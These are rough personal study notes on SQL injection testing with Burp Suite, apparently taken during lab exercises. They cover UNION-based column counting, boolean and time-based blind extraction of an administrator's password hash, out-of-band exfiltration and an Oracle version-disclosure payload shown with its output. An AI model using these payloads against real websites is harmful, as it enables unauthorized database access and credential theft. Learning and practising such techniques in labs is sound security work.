Burpsuit SQLinjection
Burpsuit SQLinjection
Types of Pentesting>
>username: admin'--
> use SQL specific characters ' or " and look for errors or other anamolies.
> different characters give you different errors.
> NULL Values use with UNION clause to find out the no of cols.
>> select title, cost from product where id=1 UNION SELECT NULL-- ; Incrementally
inject a series of UNION SELECT payloads specify a different number of NULL valuse
until you no longer get an error.
>> ' UNION SELECT NULL, NULL, NULL--
>> through a error message if that much cols are not present in the prior query or
first query.
> UNION / INTERSECT / EXCEPT operator could be used in the query expression.
> submit a boolean condition that evalutes to FALSE and note the responses.
> submit a boolean condition that evalutes to TRUE and note the responses.
> write a program that uses conditional statements to ask the databases a series of
TRUE/FALSE questions and monitor the response.
> www.random.com/app.php?id=1
>> select title from product where id=1 (Backend Query)
> www.random.com/app.php?id=1 and 1=2 (Payload#1:False)
>> select title from product where id=1 and 1=2 (Backend Query)
> www.random.com/app.php?id=1 and 1=1 (Payload#1:True)
>> select title from product where id=1 and 1=1 (Backend Query)
Users table:
Payload:
Backend Query:
select title from product where id=1 and substring((select password from Users
where UserName='Administrator'),1,1) ='s'
>>>> Nothing is returned on the page >>> Returned False >> 's' is NOT the first
character of the hashed password.
Payload:
Backend Query:
select title from product where id=1 and substring((select password from Users
where UserName='Administrator'),1,1) ='e'
>>> Title of the product id 1 is returned on the page. >> returned true >> 'e' is
the first character of the hashed password.
Time Based Blinf SQLi::
> submit a payload that apuses the application for a specific period of time.
> write a program that uses conditional statements to ask the database a series of
TRUE/FALSE questions and monitor the response time.
> pausing for a specified amount of time then return the results indicate a
successful SQL query execution.
>> if the first character of the administrator's hashed password is an 'a' wait for
10 secs. if the responds takes 10 secs >>> first letter is 'a' or else not 'a'
> submit OAST payloads designed to trigger an out of band network interaction when
executed within an SQL query and monitor for any resulting interactions.
> depending on SQL injection use different methods to exfilterate data.
> https://github.com/sqlmapproject/sqlmap
> open source
> customizable
> good for SQLi
> parameters selection
>
> after intercepting the current website traffic using intruder | intercept on and
sending the GET selection to REPEATER tab we get the output like below: Select
'Categories'>>
> The table contain the header information of ORACLE DB is v$version table in
oracle DB.
> we can find out the detail information with the query "select * from v$version;"
> the column that contain the db version detail is 'BANNER'
> so we can achieve the version detail from v$versiontable from BANNER column.
> GET /filter?category='+UNION+SELECT+BANNER,+NULL+FROM+v$version-- HTTP/1.1
>> output:
:: CORE 11.2.0.2.0 Production
:: NLSRTL Version 11.2.0.2.0 - Production
:: Oracle Database 11g Express Edition Release 11.2.0.2.0 64bit Productio9n.
:: PL/SQL Release 11.2.0.2.0 Production
:: TNS for Linux : Version 11.2.0.2. - Production
(This method we use to find out the username and password of the DB, but before
finding that we need to know the table that contains the user/pass detail.
Currently we know most of the DB has table called table_name in DB called
information_schema.tables that contains all the relevant information of user/pass.)
Find the number of columns from the table called users_abcd from
information_schema?
To check the instance of the website whether it is SQL injectable or not? we use '
AND ' 1'='1;
it is always true coz 1 is always equal to 1 and true expression. And full
expression will be true when first part ( TrackingID) is true.
THIS IS CALLED BLIND as previously if it is FALSE then it give you 500 error
message but in this case it did not give anything. So how we find it is true or
false???? No Visual feedback given.
> the nature of the website's behavior. Like if it say welcome back to the site...
means you succssfully access in the website... or else you didn't.